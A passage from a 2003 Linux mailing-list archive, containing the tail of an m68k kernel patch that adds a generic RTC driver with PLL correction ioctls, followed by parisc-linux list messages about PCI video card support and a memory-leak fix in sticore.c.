+	if (lostint){
+		printk("genrtc: system delaying clock ticks?\n");
+		/* increment count so that userspace knows something is wrong */
+		gen_rtc_irq_data += ((lostint-1)<<8);
+		lostint = 0;
+	}
+
+	wake_up_interruptible(&gen_rtc_wait);
+}
+
+/*
+ *	Now all the various file operations that we export.
+ */
+static ssize_t gen_rtc_read(struct file *file, char *buf,
+			size_t count, loff_t *ppos)
+{
+	DECLARE_WAITQUEUE(wait, current);
+	unsigned long data;
+	ssize_t retval;
+
+	if (count != sizeof (unsigned int) && count != sizeof (unsigned long))
+		return -EINVAL;
+
+	if (file->f_flags & O_NONBLOCK && !gen_rtc_irq_data)
+		return -EAGAIN;
+
+	add_wait_queue(&gen_rtc_wait, &wait);
+	retval = -ERESTARTSYS;
+
+	while (1) {
+		set_current_state(TASK_INTERRUPTIBLE);
+		data = xchg(&gen_rtc_irq_data, 0);
+		if (data)
+			break;
+		if (signal_pending(current))
+			goto out;
+		schedule();
+	}
+
+	/* first test allows optimizer to nuke this case for 32-bit machines */
+	if (sizeof (int) != sizeof (long) && count == sizeof (unsigned int)) {
+		unsigned int uidata = data;
+		retval = put_user(uidata, (unsigned long *)buf);
+	}
+	else {
+		retval = put_user(data, (unsigned long *)buf);
+	}
+	if (!retval)
+		retval = sizeof(unsigned long);
+ out:
+	current->state = TASK_RUNNING;
+	remove_wait_queue(&gen_rtc_wait, &wait);
+
+	return retval;
+}
+
+static unsigned int gen_rtc_poll(struct file *file,
+				 struct poll_table_struct *wait)
+{
+	poll_wait(file, &gen_rtc_wait, wait);
+	if (gen_rtc_irq_data != 0)
+		return POLLIN | POLLRDNORM;
+	return 0;
+}
+
+#endif
+
+/*
+ * Used to disable/enable interrupts, only RTC_UIE supported
+ * We also clear out any old irq data after an ioctl() that
+ * meddles with the interrupt enable/disable bits.
+ */
+
+static inline void gen_clear_rtc_irq_bit(unsigned char bit)
+{
+#ifdef CONFIG_GEN_RTC_X
+	stop_rtc_timers = 1;
+	if (ttask_active){
+		del_timer_sync(&timer_task);
+		ttask_active = 0;
+	}
+	while (stask_active)
+		schedule();
+
+	spin_lock(&gen_rtc_lock);
+	irq_active = 0;
+	spin_unlock(&gen_rtc_lock);
+#endif
+}
+
+static inline int gen_set_rtc_irq_bit(unsigned char bit)
+{
+#ifdef CONFIG_GEN_RTC_X
+	spin_lock(&gen_rtc_lock);
+	if ( !irq_active ) {
+		irq_active = 1;
+		stop_rtc_timers = 0;
+		lostint = 0;
+		genrtc_task.routine = genrtc_troutine;
+		oldsecs = get_rtc_ss();
+		init_timer(&timer_task);
+
+		stask_active = 1;
+		if (schedule_task(&genrtc_task) == 0){
+			stask_active = 0;
+		}
+	}
+	spin_unlock(&gen_rtc_lock);
+	gen_rtc_irq_data = 0;
+	return 0;
+#else
+	return -EINVAL;
+#endif
+}
+
+static int gen_rtc_ioctl(struct inode *inode, struct file *file,
+			 unsigned int cmd, unsigned long arg)
+{
+	struct rtc_time wtime;
+	struct rtc_pll_info pll;
+
+	switch (cmd) {
+
+	case RTC_PLL_GET:
+	    if (get_rtc_pll(&pll))
+	 	    return -EINVAL;
+	    else
+		    return copy_to_user((void *)arg, &pll, sizeof pll) ? -EFAULT : 0;
+
+	case RTC_PLL_SET:
+		if (!capable(CAP_SYS_TIME))
+			return -EACCES;
+		if (copy_from_user(&pll, (struct rtc_pll_info*)arg,
+				   sizeof(pll)))
+			return -EFAULT;
+	    return set_rtc_pll(&pll);
+
+	case RTC_UIE_OFF:	/* disable ints from RTC updates.	*/
+		gen_clear_rtc_irq_bit(RTC_UIE);
+		return 0;
+
+	case RTC_UIE_ON:	/* enable ints for RTC updates.	*/
+	        return gen_set_rtc_irq_bit(RTC_UIE);
+
+	case RTC_RD_TIME:	/* Read the time/date from RTC	*/
+		/* this doesn't get week-day, who cares */
+		memset(&wtime, 0, sizeof(wtime));
+		get_rtc_time(&wtime);
+
+		return copy_to_user((void *)arg, &wtime, sizeof(wtime)) ? -EFAULT : 0;
+
+	case RTC_SET_TIME:	/* Set the RTC */
+	    {
+		int year;
+		unsigned char leap_yr;
+
+		if (!capable(CAP_SYS_TIME))
+			return -EACCES;
+
+		if (copy_from_user(&wtime, (struct rtc_time *)arg,
+				   sizeof(wtime)))
+			return -EFAULT;
+
+		year = wtime.tm_year + 1900;
+		leap_yr = ((!(year % 4) && (year % 100)) ||
+			   !(year % 400));
+
+		if ((wtime.tm_mon < 0 || wtime.tm_mon > 11) || (wtime.tm_mday < 1))
+			return -EINVAL;
+
+		if (wtime.tm_mday < 0 || wtime.tm_mday >
+		    (days_in_mo[wtime.tm_mon] + ((wtime.tm_mon == 1) && leap_yr)))
+			return -EINVAL;
+
+		if (wtime.tm_hour < 0 || wtime.tm_hour >= 24 ||
+		    wtime.tm_min < 0 || wtime.tm_min >= 60 ||
+		    wtime.tm_sec < 0 || wtime.tm_sec >= 60)
+			return -EINVAL;
+
+		return set_rtc_time(&wtime);
+	    }
+	}
+
+	return -EINVAL;
+}
+
+/*
+ *	We enforce only one user at a time here with the open/close.
+ *	Also clear the previous interrupt data on an open, and clean
+ *	up things on a close.
+ */
+
+static int gen_rtc_open(struct inode *inode, struct file *file)
+{
+	if (gen_rtc_status & RTC_IS_OPEN)
+		return -EBUSY;
+
+	MOD_INC_USE_COUNT;
+
+	gen_rtc_status |= RTC_IS_OPEN;
+	gen_rtc_irq_data = 0;
+	irq_active = 0;
+
+	return 0;
+}
+
+static int gen_rtc_release(struct inode *inode, struct file *file)
+{
+	/*
+	 * Turn off all interrupts once the device is no longer
+	 * in use and clear the data.
+	 */
+
+	gen_clear_rtc_irq_bit(RTC_PIE|RTC_AIE|RTC_UIE);
+
+	gen_rtc_status &= ~RTC_IS_OPEN;
+	MOD_DEC_USE_COUNT;
+
+	return 0;
+}
+
+static int gen_rtc_read_proc(char *page, char **start, off_t off,
+			     int count, int *eof, void *data);
+
+
+/*
+ *	The various file operations we support.
+ */
+
+static struct file_operations gen_rtc_fops = {
+	owner:		THIS_MODULE,
+#ifdef CONFIG_GEN_RTC_X
+	read:		gen_rtc_read,
+	poll:		gen_rtc_poll,
+#endif
+	ioctl:		gen_rtc_ioctl,
+	open:		gen_rtc_open,
+	release:	gen_rtc_release
+};
+
+static struct miscdevice rtc_gen_dev =
+{
+	RTC_MINOR,
+	"rtc",
+	&gen_rtc_fops
+};
+
+int __init rtc_generic_init(void)
+{
+
+		printk(KERN_INFO "Generic RTC Driver v%s\n", RTC_VERSION);
+
+	misc_register(&rtc_gen_dev);
+	create_proc_read_entry ("driver/rtc", 0, 0, gen_rtc_read_proc, NULL);
+
+	return 0;
+}
+
+static void __exit rtc_generic_exit(void)
+{
+	remove_proc_entry ("driver/rtc", NULL);
+	misc_deregister(&rtc_gen_dev);
+}
+
+module_init(rtc_generic_init);
+module_exit(rtc_generic_exit);
+EXPORT_NO_SYMBOLS;
+
+
+/*
+ *	Info exported via "/proc/rtc".
+ */
+
+int gen_rtc_proc_output(char *buf)
+{
+	char *p;
+	struct rtc_time tm;
+	unsigned tmp;
+	struct rtc_pll_info pll;
+
+	p = buf;
+
+	get_rtc_time(&tm);
+
+	p += sprintf(p,
+		     "rtc_time\t: %02d:%02d:%02d\n"
+		     "rtc_date\t: %04d-%02d-%02d\n"
+		     "rtc_epoch\t: %04u\n",
+		     tm.tm_hour, tm.tm_min, tm.tm_sec,
+		     tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, 1900);
+
+	tm.tm_hour=0;tm.tm_min=0;tm.tm_sec=0;
+
+	p += sprintf(p, "alarm\t\t: ");
+	if (tm.tm_hour <= 24)
+		p += sprintf(p, "%02d:", tm.tm_hour);
+	else
+		p += sprintf(p, "**:");
+
+	if (tm.tm_min <= 59)
+		p += sprintf(p, "%02d:", tm.tm_min);
+	else
+		p += sprintf(p, "**:");
+
+	if (tm.tm_sec <= 59)
+		p += sprintf(p, "%02d\n", tm.tm_sec);
+	else
+		p += sprintf(p, "**\n");
+
+	tmp= RTC_24H ;
+	p += sprintf(p,
+		     "DST_enable\t: %s\n"
+		     "BCD\t\t: %s\n"
+		     "24hr\t\t: %s\n"
+		     "square_wave\t: %s\n"
+		     "alarm_IRQ\t: %s\n"
+		     "update_IRQ\t: %s\n"
+		     "periodic_IRQ\t: %s\n"
+		     "periodic_freq\t: %ld\n"
+		     "batt_status\t: %s\n",
+		     (tmp & RTC_DST_EN) ? "yes" : "no",
+		     (tmp & RTC_DM_BINARY) ? "no" : "yes",
+		     (tmp & RTC_24H) ? "yes" : "no",
+		     (tmp & RTC_SQWE) ? "yes" : "no",
+		     (tmp & RTC_AIE) ? "yes" : "no",
+		     irq_active ? "yes" : "no",
+		     (tmp & RTC_PIE) ? "yes" : "no",
+		     0L /* freq */,
+		     "okay" );
+	if (!get_rtc_pll(&pll))
+	    p += sprintf(p,
+			 "PLL adjustment\t: %d\n"
+			 "PLL max +ve adjustment\t: %d\n"
+			 "PLL max -ve adjustment\t: %d\n"
+			 "PLL +ve adjustment factor\t: %d\n"
+			 "PLL -ve adjustment factor\t: %d\n"
+			 "PLL frequency\t: %ld\n",
+			 pll.pll_value,
+			 pll.pll_max,
+			 pll.pll_min,
+			 pll.pll_posmult,
+			 pll.pll_negmult,
+			 pll.pll_clock);
+	return  p - buf;
+}
+
+static int gen_rtc_read_proc(char *page, char **start, off_t off,
+			     int count, int *eof, void *data)
+{
+	int len = gen_rtc_proc_output (page);
+        if (len <= off+count) *eof = 1;
+	*start = page + off;
+	len -= off;
+        if (len>count) len = count;
+        if (len<0) len = 0;
+	return len;
+}
+
+
+MODULE_AUTHOR("Richard Zidlicky");
+MODULE_LICENSE("GPL");
+
+/*
+ * Local variables:
+ * compile-command: "m68k-linux-gcc -D__KERNEL__ -I../../include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -pipe -fno-strength-reduce -ffixed-a2 -c -o genrtc.o genrtc.c"
+ * End:
+ */
+
--- linux-2.4.20/include/asm-m68k/machdep.h	Wed May 29 10:14:12 2002
+++ linux-m68k-2.4.20/include/asm-m68k/machdep.h	Mon Sep  9 13:07:29 2002
@@ -5,6 +5,7 @@
 struct kbd_repeat;
 struct mktime;
 struct rtc_time;
+struct rtc_pll_info;
 struct gendisk;
 struct buffer_head;
 
@@ -29,6 +30,9 @@
 extern void (*mach_gettod)(int *year, int *mon, int *day, int *hour,
 			   int *min, int *sec);
 extern int (*mach_hwclk)(int, struct rtc_time*);
+extern unsigned int (*mach_get_ss)(void);
+extern int (*mach_get_rtc_pll)(struct rtc_pll_info *);
+extern int (*mach_set_rtc_pll)(struct rtc_pll_info *);
 extern int (*mach_set_clock_mmss)(unsigned long);
 extern void (*mach_reset)( void );
 extern void (*mach_halt)( void );
--- linux-2.4.20/include/asm-m68k/rtc.h	Wed May 29 10:14:13 2002
+++ linux-m68k-2.4.20/include/asm-m68k/rtc.h	Sun Jan  5 15:24:28 2003
@@ -13,9 +13,8 @@
 
 #ifdef __KERNEL__
 
-#include <linux/config.h>
 #include <linux/rtc.h>
-#include <linux/delay.h>
+#include <asm/errno.h>
 #include <asm/machdep.h>
 
 #define RTC_PIE 0x40		/* periodic interrupt enable */
@@ -30,7 +29,48 @@
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
 #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
 
+static inline void get_rtc_time(struct rtc_time *time)
+{
+	/*
+	 * Only the values that we read from the RTC are set. We leave
+	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
+	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
+	 * by the RTC when initially set to a non-zero value.
+	 */
+	mach_hwclk(0, time);
+}
 
+static inline int set_rtc_time(struct rtc_time *time)
+{
+	return mach_hwclk(1, time);
+}
+
+static inline unsigned int get_rtc_ss(void)
+{
+	if (mach_get_ss)
+		return mach_get_ss();
+	else{
+		struct rtc_time h;
+		
+		get_rtc_time(&h);
+		return h.tm_sec;
+	}
+}
+
+static inline int get_rtc_pll(struct rtc_pll_info *pll)
+{
+	if (mach_get_rtc_pll)
+		return mach_get_rtc_pll(pll);
+	else
+		return -EINVAL;
+}
+static inline int set_rtc_pll(struct rtc_pll_info *pll)
+{
+	if (mach_set_rtc_pll)
+		return mach_set_rtc_pll(pll);
+	else
+		return -EINVAL;
+}
 #endif /* __KERNEL__ */
 
 #endif /* _ASM__RTC_H */
--- linux-2.4.20/include/linux/rtc.h	Mon Feb 19 09:47:19 2001
+++ linux-m68k-2.4.20/include/linux/rtc.h	Sun Jan  5 15:24:28 2003
@@ -39,10 +39,32 @@
 	struct rtc_time time;	/* time the alarm is set to */
 };
 
+/*
+ * Data structure to control PLL correction some better RTC feature
+ * pll_value is used to get or set current value of correction,
+ * the rest of the struct is used to query HW capabilities.
+ * This is modeled after the RTC used in Q40/Q60 computers but
+ * should be sufficiently flexible for other devices
+ *
+ * +ve pll_value means clock will run faster by
+ *   pll_value*pll_posmult/pll_clock
+ * -ve pll_value means clock will run slower by
+ *   pll_value*pll_negmult/pll_clock
+ */ 
+
+struct rtc_pll_info {
+	int pll_ctrl;       /* placeholder for fancier control */
+	int pll_value;      /* get/set correction value */
+	int pll_max;        /* max +ve (faster) adjustment value */
+	int pll_min;        /* max -ve (slower) adjustment value */
+	int pll_posmult;    /* factor for +ve corection */
+	int pll_negmult;    /* factor for -ve corection */
+	long pll_clock;     /* base PLL frequency */
+};
 
 /*
- * ioctl calls that are permitted to the /dev/rtc interface, if 
- * CONFIG_RTC/CONFIG_EFI_RTC was enabled.
+ * ioctl calls that are permitted to the /dev/rtc interface, if
+ * any of the RTC drivers are enabled.
  */
 
 #define RTC_AIE_ON	_IO('p', 0x01)	/* Alarm int. enable on		*/
@@ -66,4 +88,6 @@
 #define RTC_WKALM_SET	_IOW('p', 0x0f, struct rtc_wkalrm)/* Set wakeup alarm*/
 #define RTC_WKALM_RD	_IOR('p', 0x10, struct rtc_wkalrm)/* Get wakeup alarm*/
 
+#define RTC_PLL_GET	_IOR('p', 0x11, struct rtc_pll_info)  /* Get PLL correction */
+#define RTC_PLL_SET	_IOW('p', 0x12, struct rtc_pll_info)  /* Set PLL correction */
 #endif /* _LINUX_RTC_H_ */

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI video card.
Date: Sun, 5 Jan 2003 14:59:52 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20030105145952.G19239@parcelfarce.linux.theplanet.co.uk>
References: <20030105215425.4CA8BF126@setsin.etsin.upm.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622072 19381 80.91.229.3 (22 Nov 2014 02:07:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chema <jmpbox@etsin.upm.es>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 07:59:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D76294831
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Jan 2003 07:59:58 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18VCFk-0005CH-00; Sun, 05 Jan 2003 14:59:52 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030105215425.4CA8BF126@setsin.etsin.upm.es>; from jmpbox@etsin.upm.es on Sun, Jan 05, 2003 at 04:54:25PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17262

On Sun, Jan 05, 2003 at 04:54:25PM -0500, Chema wrote:
> I have a spare Geforce4 PCI card. Would it be possible using it in a 712 or a 735 ?
> What about Voodoo >2, vodoo3, voodoo4, etc?
> I would thank URLs about it.

712 & 735 don't have PCI busses.  PCI is only available in machines with
Dino / Cujo / Elroy adapters.  That's B132-B180, C160-C360, J2240, B1000,
C3000, J5000 and up.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH][2.5.53] Memory leak in drivers/video/console/sticore.c
Date: Sun, 5 Jan 2003 15:06:46 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <20030105150646.H19239__11837.2365403504$1416622073$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0212282311540.268-100000@pablo.menichini.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622073 19385 80.91.229.3 (22 Nov 2014 02:07:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:53 +0000 (UTC)
Cc: kernel-janitor-discuss@lists.sourceforge.net,
	Trivial Patch Monkey <trivial@rustcorp.com.au>,
	parisc-linux@parisc-linux.org
To: Pablo Menichini <pablo@menichini.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 08:06:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52CE84838
	for <parisc-linux@parisc-linux.org>; Sun,  5 Jan 2003 08:06:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18VCMQ-0005G8-00; Sun, 05 Jan 2003 15:06:46 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.33.0212282311540.268-100000@pablo.menichini.com.ar>; from pablo@menichini.com.ar on Sat, Dec 28, 2002 at 11:14:52PM -0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17263

On Sat, Dec 28, 2002 at 11:14:52PM -0300, Pablo Menichini wrote:
> This patch tries to fix the memory leak in function sti_init_glob_cfg.

sticore is somewhat out of date in Linus' tree -- probably better to
ignore drivers/video for cleanup work at the moment as there's some big
reworks in progress.  Even so, this patch is still mostly relevant --
I'll redo it in the PA-RISC tree shortly.  Thanks.

> --- linux-2.5.53/drivers/video/console/sticore.c	Sat Dec 28 18:39:32 2002
> +++ linux-local/drivers/video/console/sticore.c	Sat Dec 28 18:51:04 2002
> @@ -376,8 +376,17 @@
>  	save_addr = kmalloc(1024 /*XXX*/, GFP_KERNEL);
>  	sti_mem_addr = kmalloc(1024, GFP_KERNEL);
> 
> -	if((!glob_cfg) || (!glob_cfg_ext) || (!save_addr) || (!sti_mem_addr))
> +	if((!glob_cfg) || (!glob_cfg_ext) || (!save_addr) || (!sti_mem_addr)){
> +		if(glob_cfg)
> +			kfree(glob_cfg);
> +		if(glob_cfg_ext)
> +			kfree(glob_cfg_ext);
> +		if(save_addr)
> +			kfree(save_addr);
> +		if(sti_mem_addr)
> +			kfree(sti_mem_addr);
>  		return;
> +	}
> 
>  	memset(glob_cfg, 0, sizeof *glob_cfg);
>  	memset(glob_cfg_ext, 0, sizeof *glob_cfg_ext);

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chema <jmpbox@etsin.upm.es>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI video card.
Date: Sun,  5 Jan 2003 17:25:14 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20030105222514.221A0F12B@setsin.etsin.upm.es>
References: <20030105215425.4CA8BF126@setsin.etsin.upm.es>
	<20030105145952.G19239@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622073 19388 80.91.229.3 (22 Nov 2014 02:07:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 08:09:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from setsin.etsin.upm.es (setsin.etsin.upm.es [138.100.110.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 590344838
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Jan 2003 08:09:23 -0700 (MST)
Original-Received: from setsin.etsin.upm.es (setsin.etsin.upm.es [138.100.110.100])
	by setsin.etsin.upm.es (Postfix) with SMTP
	id 221A0F12B; Sun,  5 Jan 2003 17:25:14 -0500 (EST)
In-Reply-To: <20030105145952.G19239@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.7.3 (GTK+ 1.2.10; i586-mandrake-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17264

Thanks Matthew:
so, do you mean those cards would work in such systems (Dino / Cujo / Elroy) ?
Thank you.

Chema.

On Sun, 5 Jan 2003 14:59:52 +0000
Matthew Wilcox <willy@debian.org> wrote:

> On Sun, Jan 05, 2003 at 04:54:25PM -0500, Chema wrote:
> > I have a spare Geforce4 PCI card. Would it be possible using it in a 712 or a 735 ?
> > What about Voodoo >2, vodoo3, voodoo4, etc?
> > I would thank URLs about it.
> 
> 712 & 735 don't have PCI busses.  PCI is only available in machines with
> Dino / Cujo / Elroy adapters.  That's B132-B180, C160-C360, J2240, B1000,
> C3000, J5000 and up.


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI video card.
Date: Sun, 5 Jan 2003 15:19:40 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20030105151940.I19239@parcelfarce.linux.theplanet.co.uk>
References: <20030105215425.4CA8BF126@setsin.etsin.upm.es> <20030105145952.G19239@parcelfarce.linux.theplanet.co.uk> <20030105222514.221A0F12B@setsin.etsin.upm.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622073 19394 80.91.229.3 (22 Nov 2014 02:07:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:53 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Chema <jmpbox@etsin.upm.es>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 08:19:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 926854829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Jan 2003 08:19:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18VCYu-0005NT-00; Sun, 05 Jan 2003 15:19:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030105222514.221A0F12B@setsin.etsin.upm.es>; from jmpbox@etsin.upm.es on Sun, Jan 05, 2003 at 05:25:14PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17265

On Sun, Jan 05, 2003 at 05:25:14PM -0500, Chema wrote:
> Thanks Matthew:
> so, do you mean those cards would work in such systems (Dino / Cujo / Elroy) ?

Maybe.  It depends whether the driver supports fully initialising the card
or whether it requires the on-card BIOS to have been run.  Most fall into
the second category, alas.  This must surely be a FAQ by now ...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Vlad D. Markov" <markov@monmouth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel panic when extracting large tar files
Date: Sun, 5 Jan 2003 21:31:27 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <200301060231.h062VT5k090586@smtp.monmouth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622073 19398 80.91.229.3 (22 Nov 2014 02:07:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 19:31:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
